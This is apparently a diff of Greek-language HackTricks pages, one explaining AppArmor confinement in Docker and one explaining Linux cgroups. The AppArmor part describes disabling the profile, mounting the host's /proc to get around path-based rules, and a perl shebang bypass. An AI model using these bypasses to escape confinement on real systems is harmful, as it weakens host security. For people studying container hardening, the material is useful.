type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
@ -174,7 +175,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor στο Docker
Σημειώστε πως το προφίλ **docker-profile** του docker φορτώνεται από προεπιλογή:
Σημείωσε πως το προφίλ **docker-profile** του docker φορτώνεται από προεπιλογή:
```bash
sudo aa-status
apparmor module is loaded.
@ -196,17 +197,17 @@ docker-default
* **Πρόσβαση** σε όλο το **δίκτυο**
* Δεν έχει οριστεί **κάποια ικανότητα** (Ωστόσο, μερικές ικανότητες θα προέλθουν από τη συμπερίληψη βασικών κανόνων βάσης, δηλαδή #include \<abstractions/base>)
* **Απαγορεύεται η εγγραφή** σε οποιοδήποτε αρχείο **/proc**
* Άλλοι **υποκατάλογοι/αρχεία** του /**proc** και /**sys** έχουν **απαγορευμένη** πρόσβαση για ανάγνωση/εγγραφή/κλείδωμα/σύνδεση/εκτέλεση
* **Δεν επιτρέπεται η τοποθέτηση (mount)**
* Η **Ptrace** μπορεί να εκτελεστεί μόνο σε ένα διεργασία που περιορίζεται από το **ίδιο προφίλ apparmor**
* **Η εγγραφή** σε οποιοδήποτε αρχείο **/proc** δεν επιτρέπεται
* Άλλοι **υποκατάλογοι/αρχεία** του /**proc** και /**sys** απαγορεύεται η πρόσβαση για ανάγνωση/εγγραφή/κλείδωμα/σύνδεση/εκτέλεση
* **Η τοποθέτηση** δεν επιτρέπεται
* Το **Ptrace** μπορεί να εκτελεστεί μόνο σε ένα διεργασία που περιορίζεται από το **ίδιο προφίλ apparmor**
Μόλις **εκτελέσετε ένα container docker**, θα πρέπει να δείτε την ακόλουθη έξοδο:
```bash
1 processes are in enforce mode.
docker-default (825)
```
Σημειώστε ότι **το apparmor θα αποκλείσει ακόμα και τα προνόμια δικαιωμάτων** που έχουν χορηγηθεί στον ελατήριο από προεπιλογή. Για παράδειγμα, θα μπορεί να **αποκλείσει την άδεια εγγραφής μέσα στον φάκελο /proc ακόμα κι αν έχει χορηγηθεί η δυνατότητα SYS\_ADMIN** επειδή από προεπιλογή το προφίλ apparmor του docker αρνείται αυτήν την πρόσβαση:
Σημειώστε ότι το **apparmor θα αποκλείσει ακόμα και τα προνόμια δικαιωμάτων** που χορηγούνται στον ελατήριο από προεπιλογή. Για παράδειγμα, θα μπορεί να **αποκλείσει την άδεια εγγραφής μέσα στο /proc ακόμα κι αν έχει χορηγηθεί η δυνατότητα SYS\_ADMIN** επειδή από προεπιλογή το προφίλ apparmor του docker απορρίπτει αυτήν την πρόσβαση:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
@ -216,23 +217,23 @@ sh: 1: cannot create /proc/stat: Permission denied
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Σημειώστε ότι από προεπιλογή το **AppArmor** θα απαγορεύσει στο container να κάνει mount φακέλους από μέσα ακόμα και με τη δυνατότητα SYS\_ADMIN.
Σημειώστε ότι από προεπιλογή το **AppArmor** θα απαγορεύσει επίσης στον **container να πραγματοποιήσει mount** φακέλους από μέσα ακόμα και με τη δυνατότητα SYS\_ADMIN.
Σημειώστε ότι μπορείτε να **προσθέσετε/αφαιρέσετε** **δυνατότητες** στο docker container (αυτό θα παραμείνει περιορισμένο από μεθόδους προστασίας όπως το **AppArmor** και το **Seccomp**):
Σημειώστε ότι μπορείτε να **προσθέσετε/αφαιρέσετε** **δυνατότητες** στο docker container (αυτό θα περιοριστεί ακόμα από μεθόδους προστασίας όπως το **AppArmor** και το **Seccomp**):
* `--cap-add=SYS_ADMIN` προσθέτει τη δυνατότητα `SYS_ADMIN`
* `--cap-add=ALL` προσθέτει όλες τις δυνατότητες
* `--cap-drop=ALL --cap-add=SYS_PTRACE` αφαιρεί όλες τις δυνατότητες και δίνει μόνο την `SYS_PTRACE`
* `--cap-add=SYS_ADMIN` δίνει τη δυνατότητα `SYS_ADMIN`
* `--cap-add=ALL` δίνει όλες τις δυνατότητες
* `--cap-drop=ALL --cap-add=SYS_PTRACE` αφαιρεί όλες τις δυνατότητες και δίνει μόνο το `SYS_PTRACE`
{% hint style="info" %}
Συνήθως, όταν **ανακαλύπτετε** ότι έχετε μια **προνομιούχα δυνατότητα** διαθέσιμη **μέσα** σε ένα **docker container** αλλά κάποιο τμήμα του **exploit δεν λειτουργεί**, αυτό οφείλεται στο ότι το docker **apparmor το εμποδίζει**.
Συνήθως, όταν **εντοπίσετε** ότι έχετε μια **δυνατότητα με προνόμια** διαθέσιμη **μέσα** σε ένα **docker container αλλά** κάποιο τμήμα του **exploit δεν λειτουργεί**, αυτό οφείλεται στο γεγονός ότι το docker **apparmor το εμποδίζει**.
{% endhint %}
### Παράδειγμα
(Παράδειγμα από [**εδώ**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Για να εικονογραφήσω τη λειτουργικότητα του AppArmor, δημιούργησα ένα νέο προφίλ Docker "mydocker" με την παρακάτω γραμμή προστεθειμένη:
Για να εικονίσουμε τη λειτουργικότητα του AppArmor, δημιούργησα ένα νέο προφίλ Docker "mydocker" με την παρακάτω γραμμή προστεθειρμένη:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
@ -245,14 +246,14 @@ sudo apparmor_parser -r -W mydocker
$ sudo apparmor_status | grep mydocker
mydocker
```
Όπως φαίνεται παρακάτω, λαμβάνουμε σφάλμα όταν προσπαθούμε να αλλάξουμε το "/etc/" επειδή το προφίλ του AppArmor αποτρέπει την εγγραφή πρόσβασης στο "/etc".
Όπως φαίνεται παρακάτω, λαμβάνουμε σφάλμα όταν προσπαθούμε να αλλάξουμε το "/etc/" επειδή το προφίλ του AppArmor αποτρέπει την πρόσβαση εγγραφής στο "/etc".
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### Παράκαμψη AppArmor Docker1
Μπορείτε να βρείτε ποιο προφίλ **apparmor εκτελείται από ένα container** χρησιμοποιώντας:
Μπορείτε να βρείτε ποιο **προφίλ apparmor τρέχει ένας container** χρησιμοποιώντας:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
@ -264,11 +265,11 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
### Παράκαμψη AppArmor Docker2
**Το AppArmor βασίζεται στα μονοπάτια**, αυτό σημαίνει ότι ακόμα και αν **προστατεύει** αρχεία μέσα σε έναν κατάλογο όπως το **`/proc`**, αν μπορείτε **να ρυθμίσετε πώς θα εκτελείται το container**, μπορείτε **να προσαρτήσετε** τον κατάλογο proc του κεντρικού συστήματος μέσα στο **`/host/proc`** και δεν θα προστατεύεται πλέον από το AppArmor.
**Το AppArmor βασίζεται στα μονοπάτια**, αυτό σημαίνει ότι ακόμα κι αν **προστατεύει** αρχεία μέσα σε έναν κατάλογο όπως το **`/proc`**, αν μπορείτε **να ρυθμίσετε πώς θα εκτελείται το container**, μπορείτε **να προσαρτήσετε** τον κατάλογο proc του host μέσα στο **`/host/proc`** και δεν θα προστατεύεται πλέον από το AppArmor.
### Παράκαμψη Shebang του AppArmor
Σε [**αυτό το σφάλμα**](https://bugs.launchpad.net/apparmor/+bug/1911431) μπορείτε να δείτε ένα παράδειγμα πώς **ακόμα κι αν αποτρέπετε την εκτέλεση του perl με συγκεκριμένους πόρους**, αν απλώς δημιουργήσετε ένα shell script **προσδιορίζοντας** στην πρώτη γραμμή **`#!/usr/bin/perl`** και **εκτελέσετε το αρχείο απευθείας**, θα μπορείτε να εκτελέσετε ό,τι θέλετε. Π.χ.:
Σε [**αυτό το σφάλμα**](https://bugs.launchpad.net/apparmor/+bug/1911431) μπορείτε να δείτε ένα παράδειγμα πώς **ακόμα κι αν αποτρέπετε την εκτέλεση του perl με συγκεκριμένους πόρους**, αν απλά δημιουργήσετε ένα shell script **προσδιορίζοντας** στην πρώτη γραμμή **`#!/usr/bin/perl`** και **εκτελέσετε το αρχείο απευθείας**, θα μπορείτε να εκτελέσετε ό,τι θέλετε. Π.χ.:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -280,26 +281,27 @@ chmod +x /tmp/test.pl
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες malware**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από malware που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# CGroups
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
Τα **Linux Control Groups**, ή **cgroups**, είναι μια δυνατότητα του πυρήνα του Linux που επιτρέπει την κατανομή, περιορισμό και προτεραιοποίηση των πόρων του συστήματος, όπως η CPU, η μνήμη και η διάβαση/εγγραφή στον δίσκο, μεταξύ ομάδων διεργασιών. Προσφέρουν έναν μηχανισμό για την **διαχείριση και απομόνωση της χρήσης πόρων** συλλογών διεργασιών, ωφέλιμο για σκοπούς όπως ο περιορισμός πόρων, η απομόνωση φορτίου εργασίας και η προτεραιοποίηση πόρων μεταξύ διαφορετικών ομάδων διεργασιών.
**Οι Ομάδες Ελέγχου Linux**, ή **cgroups**, είναι μια λειτουργία του πυρήνα του Linux που επιτρέπει την κατανομή, περιορισμό και προτεραιοποίηση των πόρων του συστήματος όπως CPU, μνήμη και διακίνηση δίσκου μεταξύ ομάδων διεργασιών. Προσφέρουν ένα μηχανισμό για τη **διαχείριση και απομόνωση της χρήσης πόρων** συλλογών διεργασιών, χρήσιμος για σκοπούς όπως περιορισμός πόρων, απομόνωση φορτίου εργασίας και προτεραιοποίηση πόρων μεταξύ διαφορετικών ομάδων διεργασιών.
Υπάρχουν **δύο εκδόσεις των cgroups**: έκδοση 1 και έκδοση 2. Και οι δύο μπορούν να χρησιμοποιηθούν ταυτόχρονα σε ένα σύστημα. Η κύρια διάκριση είναι ότι η **έκδοση 2 των cgroups** εισάγει μια **ιεραρχική, δενδρική δομή**, που επιτρέπει πιο λεπτομερή κατανομή πόρων μεταξύ ομάδων διεργασιών. Επιπλέον, η έκδοση 2 φέρνει διάφορες βελτιώσεις, συμπεριλαμβανομένων:
Υπάρχουν **δύο εκδόσεις των cgroups**: έκδοση 1 και έκδοση 2. Και οι δύο μπορούν να χρησιμοποιηθούν ταυτόχρονα σε ένα σύστημα. Η κύρια διάκριση είναι ότι η **έκδοση 2 των cgroups** εισάγει μια **ιεραρχική, δενδρική δομή**, επιτρέποντας πιο λεπτομερή κατανομή πόρων μεταξύ ομάδων διεργασιών. Επιπλέον, η έκδοση 2 φέρνει διάφορες βελτιώσεις, συμπεριλαμβανομένων:
Εκτός από τη νέα ιεραρχική οργάνωση, η έκδοση 2 των cgroups εισήγαγε επίσης **άλλες αλλαγές και βελτιώσεις**, όπως η υποστήριξη για **νέους ελεγκτές πόρων**, καλύτερη υποστήριξη για παλαιότερες εφαρμογές και βελτιωμένη απόδοση.
Εκτός από τη νέα ιεραρχική οργάνωση, η έκδοση 2 των cgroups εισήγαγε επίσης **πολλές άλλες αλλαγές και βελτιώσεις**, όπως υποστήριξη για **νέους ελεγκτές πόρων**, καλύτερη υποστήριξη για παλαιές εφαρμογές και βελτιωμένη απόδοση.
Συνολικά, η έκδοση 2 των cgroups προσφέρει περισσότερες δυνατότητες και καλύτερη απόδοση από την έκδοση 1, αλλά η τελευταία εξακολουθεί να χρησιμοποιείται σε ορισμένα σενάρια όπου η συμβατότητα με παλαιότερα συστήματα είναι ανησυχία.
Συνολικά, η έκδοση 2 των cgroups προσφέρει περισσότερες λειτουργίες και καλύτερη απόδοση από την έκδοση 1, αλλά η τελευταία εξακολουθεί να χρησιμοποιείται σε ορισμένα σενάρια όπου η συμβατότητα με παλαιότερα συστήματα είναι ανησυχία.
Μπορείτε να εμφανίσετε τα cgroups v1 και v2 για οποιαδήποτε διεργασία κοιτάζοντας το αρχείο cgroup της στο /proc/\<pid>. Μπορείτε να ξεκινήσετε κοιτώντας τα cgroups του κελύφους σας με αυτήν την εντολή:
Μπορείτε να εμφανίσετε τα cgroups v1 και v2 για οποιαδήποτε διεργασία διαβάζοντας το αρχείο cgroup της /proc/\<pid>. Μπορείτε να ξεκινήσετε ελέγχοντας τα cgroups του κέλυφος σας με αυτήν την εντολή:
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -39,68 +40,54 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
Η δομή της έξοδου είναι η εξής:
- **Αριθμοί 2-12**: cgroups v1, με κάθε γραμμή που αναπαριστά ένα διαφορετικό cgroup. Οι ελεγκτές για αυτούς καθορίζονται δίπλα στον αριθμό.
- **Αριθμός 1**: Επίσης cgroups v1, αλλά αποκλειστικά για σκοπούς διαχείρισης (ορίζεται από, για παράδειγμα, το systemd), και δεν έχει ελεγκτή.
- **Αριθμός 0**: Αντιπροσωπεύει cgroups v2. Δεν αναφέρονται ελεγκτές και αυτή η γραμμή είναι αποκλειστική για συστήματα που εκτελούν μόνο cgroups v2.
- Τα **ονόματα είναι ιεραρχικά**, μοιάζοντας με διαδρομές αρχείων, που υποδεικνύουν τη δομή και τη σχέση μεταξύ διαφορετικών cgroups.
- **Ονόματα όπως /user.slice ή /system.slice** καθορίζουν την κατηγοριοποίηση των cgroups, με το user.slice να χρησιμοποιείται συνήθως για συνεδρίες σύνδεσης που διαχειρίζεται το systemd και το system.slice για υπηρεσίες του συστήματος.
### Προβολή cgroups
Το σύστημα αρχείων χρησιμοποιείται συνήθως για την πρόσβαση στα **cgroups**, αποκλίνοντας από τη διεπαφή κλήσης συστήματος Unix που χρησιμοποιείται παραδοσιακά για τις αλληλεπιδράσεις με τον πυρήνα. Για να εξετάσετε τη διαμόρφωση του cgroup ενός κελύφους, πρέπει να εξετάσετε το αρχείο **/proc/self/cgroup**, το οποίο αποκαλύπτει το cgroup του κελύφους. Στη συνέχεια, μεταβαίνοντας στον κατάλογο **/sys/fs/cgroup** (ή **`/sys/fs/cgroup/unified`**) και εντοπίζοντας έναν κατάλογο που μοιράζεται το όνομα του cgroup, μπορείτε να παρατηρήσετε διάφορες ρυθμίσεις και πληροφορίες χρήσης πόρων που σχετίζονται με το cgroup.
Η δομή εξόδου είναι η ακόλουθη:
![Cgroup Filesystem](../../../.gitbook/assets/image%20(10)%20(2)%20(2).png)
* **Αριθμοί 2-12**: cgroups v1, με κάθε γραμμή να αντιστοιχεί σε διαφορετικό cgroup. Οι ελεγκτές για αυτούς καθορίζονται δίπλα στον αριθμό.
* **Αριθμός 1**: Επίσης cgroups v1, αλλά αποκλειστικά για σκοπούς διαχείρισης (ορίζεται από, π.χ., το systemd), και λείπει ένας ελεγκτής.
* **Αριθμός 0**: Αντιπροσωπεύει cgroups v2. Δεν αναφέρονται ελεγκτές, και αυτή η γραμμή είναι αποκλειστική σε συστήματα που εκτελούν μόνο cgroups v2.
* Τα **ονόματα είναι ιεραρχικά**, μοιάζοντας με διαδρομές αρχείων, υποδεικνύοντας τη δομή και τη σχέση μεταξύ διαφορετικών cgroups.
* **Ονόματα όπως /user.slice ή /system.slice** υποδεικνύουν την κατηγοριοποίηση των cgroups, με το user.slice συνήθως για συνεδρίες σύνδεσης που διαχειρίζεται το systemd και το system.slice για υπηρεσίες συστήματος.
Τα κύρια αρχεία διεπαφής για τα cgroups έχουν πρόθεμα **cgroup**. Το αρχείο **cgroup.procs**, το οποίο μπορεί να προβληθεί με τυπικές εντολές όπως το cat, αναφέρει τις διεργασίες εντός του cgroup. Ένα άλλο αρχείο, το **cgroup.threads**, περιλαμβάνει πληροφορίες νημάτων.
Το σύστημα αρχείων χρησιμοποιείται τυπικά για την πρόσβαση στα **cgroups**, αποκλίνοντας από τη διεπαφή κλήσης συστήματος Unix που χρησιμοποιείται παραδοσιακά για τις διεπικοινωνίες πυρήνα. Για να εξετάσετε τη διαμόρφωση cgroup ενός κελύφους, πρέπει να εξετάσετε το αρχείο **/proc/self/cgroup**, το οποίο αποκαλύπτει το cgroup του κελύφους. Στη συνέχεια, πλοηγούμενοι στον κατάλογο **/sys/fs/cgroup** (ή **`/sys/fs/cgroup/unified`**) και εντοπίζοντας έναν κατάλογο που μοιράζεται το όνομα του cgroup, μπορεί κανείς να παρατηρήσει διάφορες ρυθμίσεις και πληροφορίες χρήσης πόρων που αφορούν το cgroup.
![Cgroup Procs](../../../.gitbook/assets/image%20(1)%20(1)%20(5).png)
![Σύστημα Αρχείων Cgroup](<../../../.gitbook/assets/image (1128).png>)
Τα cgroups που διαχειρίζονται τα κελύφη συνήθως περιλαμβάνουν δύο ελεγκτές που ρυθμίζουν τη χρήση μνήμης και τον αριθμό των διεργασιών. Για να αλληλεπιδράσετε με έναν ελεγκτή, πρέπει να εξετάσετε τα αρχεία που φέρουν το πρόθεμα του ελεγκτή. Για παράδειγμα, το **pids.current** θα αναφερθεί για να διαπιστωθεί ο αριθμός των νημάτων στο cgroup.
Τα κύρια αρχεία διεπαφής για τα cgroups έχουν πρόθεμα **cgroup**. Το αρχείο **cgroup.procs**, το οποίο μπορεί να προβληθεί με τυπικές εντολές όπως cat, αναφέρει τις διεργασίες εντός του cgroup. Ένα άλλο αρχείο, **cgroup.threads**, περιλαμβάνει πληροφορίες νημάτων.
![Cgroup Memory](../../../.gitbook/assets/image%20(3)%20(5).png)
![Cgroup Διεργασίες](<../../../.gitbook/assets/image (281).png>)
Η ένδειξη **max** σε μια τιμή υποδηλώνει την απουσία ενός συγκεκριμένου ορίου για το cgroup. Ωστόσο, λόγω της ιεραρχικής φύσης των cgroups, τα όρια μπορεί να επιβληθούν από ένα cgroup σε χαμηλότερο επίπεδο στην ιεραρχία του καταλόγου.
Τα cgroups που διαχειρίζονται κελύφη συνήθως περιλαμβάνουν δύο ελεγκτές που ρυθμίζουν τη χρήση μνήμης και τον αριθμό διεργασιών. Για να αλληλεπιδράσετε με έναν ελεγκτή, πρέπει να εξετάσετε τα αρχεία που φέρουν το πρόθεμα του ελεγκτή. Για παράδειγμα, το **pids.current** θα αναφερθεί για να διαπιστώσει τον αριθμό των νημάτων στο cgroup.
![Cgroup Μνήμη](<../../../.gitbook/assets/image (677).png>)
### Αλλαγή και δημιουργία cgroups
Η ένδειξη **max** σε μια τιμή υποδηλώνει την απουσία συγκεκριμένου ορίου για το cgroup. Ωστόσο, λόγω της ιεραρχικής φύσης των cgroups, τα όρια ενδέχεται να επιβάλλονται από ένα cgroup σε χαμηλότερο επίπεδο στην ιεραρχία καταλόγων.
Οι διεργασίες αντιστοιχίζονται σε cgroups γράφοντας το Process ID (PID) τους στο αρχείο `cgroup.procs`. Αυτό απαιτεί δικαιώματα διαχειριστή. Για παράδειγμα, για να προσθέσετε μια διεργασία:
### Επεξεργασία και Δημιουργία cgroups
Οι διεργασίες ανατίθενται σε cgroups με το **γράψιμο του Αναγνωριστικού Διεργασίας (PID) τους στο αρχείο `cgroup.procs`**. Αυτό απαιτεί δικαιώματα ρίζας. Για παράδειγμα, για να προσθέσετε μια διεργασία:
```bash
echo [pid] > cgroup.procs
```
Ομοίως, η τροποποίηση των χαρακτηριστικών του cgroup, όπως η οριοθέτηση ενός ορίου PID, γίνεται με το να γράψετε την επιθυμητή τιμή στο αντίστοιχο αρχείο. Για να ορίσετε ένα μέγιστο όριο 3.000 PIDs για ένα cgroup:
Αντίστοιχα, **η τροποποίηση των χαρακτηριστικών του cgroup, όπως η ρύθμιση ενός ορίου PID**, γίνεται με τον εγγραφή της επιθυμητής τιμής στο σχετικό αρχείο. Για να ορίσετε ένα μέγιστο των 3.000 PIDs για ένα cgroup:
```bash
echo 3000 > pids.max
```
**Δημιουργία νέων cgroups** περιλαμβάνει τη δημιουργία ενός νέου υποκαταλόγου εντός της ιεραρχίας των cgroup, η οποία προκαλεί τον πυρήνα να δημιουργήσει αυτόματα τα απαραίτητα αρχεία διεπαφής. Αν και τα cgroups χωρίς ενεργές διεργασίες μπορούν να αφαιρεθούν με την εντολή `rmdir`, πρέπει να λάβετε υπόψη τους ορισμένους περιορισμούς:
**Δημιουργία νέων cgroups** περιλαμβάνει τη δημιουργία ενός νέου υποκαταλόγου εντός της ιεραρχίας cgroup, η οποία προκαλεί τον πυρήνα να δημιουργήσει αυτόματα τα απαραίτητα αρχεία διεπαφής. Αν και τα cgroups χωρίς ενεργές διεργασίες μπορούν να αφαιρεθούν με `rmdir`, να λάβετε υπόψη ορισμένους περιορισμούς:
- **Οι διεργασίες μπορούν να τοποθετηθούν μόνο σε leaf cgroups** (δηλαδή, τα πιο εμβαδοπροσανατολισμένα σε μια ιεραρχία).
- **Ένα cgroup δεν μπορεί να έχει έναν ελεγκτή που λείπει από τον γονέα του**.
- **Οι ελεγκτές για τα παιδικά cgroups πρέπει να δηλωθούν ρητά** στο αρχείο `cgroup.subtree_control`. Για παράδειγμα, για να ενεργοποιήσετε τους ελεγκτές CPU και PID σε ένα παιδικό cgroup:
* **Οι διεργασίες μπορούν να τοποθετηθούν μόνο σε leaf cgroups** (δηλαδή, στους πιο εσωτερικούς σε μια ιεραρχία).
* **Ένα cgroup δεν μπορεί να έχει έναν ελεγκτή που λείπει από τον γονικό του**.
* **Οι ελεγκτές για τα παιδικά cgroups πρέπει να δηλωθούν ρητά** στο αρχείο `cgroup.subtree_control`. Για παράδειγμα, για να ενεργοποιήσετε τους ελεγκτές CPU και PID σε ένα παιδικό cgroup:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
Το **root cgroup** είναι μια εξαίρεση από αυτούς τους κανόνες, επιτρέποντας την άμεση τοποθέτηση διεργασιών. Αυτό μπορεί να χρησιμοποιηθεί για να αφαιρέσει διεργασίες από τη διαχείριση του systemd.
Το **root cgroup** είναι μια εξαίρεση από αυτούς τους κανόνες, επιτρέποντας την άμεση τοποθέτηση διεργασιών. Αυτό μπορεί να χρησιμοποιηθεί για να αφαιρέσετε διεργασίες από τη διαχείριση του systemd.
**Η παρακολούθηση της χρήσης της CPU** εντός ενός cgroup είναι δυνατή μέσω του αρχείου `cpu.stat`, που εμφανίζει το συνολικό χρόνο CPU που καταναλώνεται, χρήσιμο για την παρακολούθηση της χρήσης σε υποδιεργασίες ενός υπηρεσίας:
**Η παρακολούθηση της χρήσης CPU** εντός ενός cgroup είναι δυνατή μέσω του αρχείου `cpu.stat`, εμφανίζοντας το συνολικό χρόνο CPU που καταναλώθηκε, χρήσιμο για την παρακολούθηση της χρήσης ανάμεσα στις υποδιεργασίες ενός υπηρεσίας:
<figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption>Στατιστικά χρήσης CPU όπως φαίνονται στο αρχείο cpu.stat</figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>Στατιστικά χρήσης CPU όπως φαίνονται στο αρχείο cpu.stat</p></figcaption></figure>
## Αναφορές
* **Βιβλίο: How Linux Works, 3η έκδοση: Τι πρέπει να γνωρίζει κάθε υπερχρήστης από τον Brian Ward**
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
